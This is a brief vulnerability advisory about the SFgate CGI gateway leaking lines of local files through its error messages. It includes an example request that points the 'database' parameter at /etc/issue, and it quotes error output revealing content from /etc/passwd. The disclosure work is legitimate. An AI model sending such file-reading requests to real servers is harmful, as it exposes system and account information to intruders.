sfgate-info.txt

`Vendor:  
http://ls6-www.cs.uni-dortmund.de/ir/projects/SFgate/index.html  
  
Action: attempted to notify vendor with no response.  
  
Description:  
SFGATE gives sensitive information by allowing one to view a few lines of  
text from a file via an error message.  
  
It looks like a good attempt was made at stopping this but its still  
an issue in my mind.  
  
The current patch level of SFgate 5.1 is 11.  
  
example  
http://xxxxxx/cgi-bin/SFgate?test=help&database=/etc/issue  
  
SFgate terminated  
  
SFgate terminated with message  
  
Error with /etc/issue: syntax error at /etc/issue line 2, near "Linux 5.0"  
this is out of etc issue ----^  
  
  
  
Please contact the webmaster.  
This page was generated by SFgate 5.111.  
  
It looks like an early attempt at filtering was made.  
  
Similar error messages with earlier versions...  
  
SFgate terminated  
  
SFgate terminated with message  
  
Error with /etc/passwd: Unrecognized character \241 at /etc/passwd line 41.  
  
Please contact the webmaster.  
  
  
This page was generated by SFgate 5.018.  
  
Other versions were not so harsh on the Unrecognized chars revealing more.  
As usual permission of the web server comes in to play.  
  
[email protected]  
  
`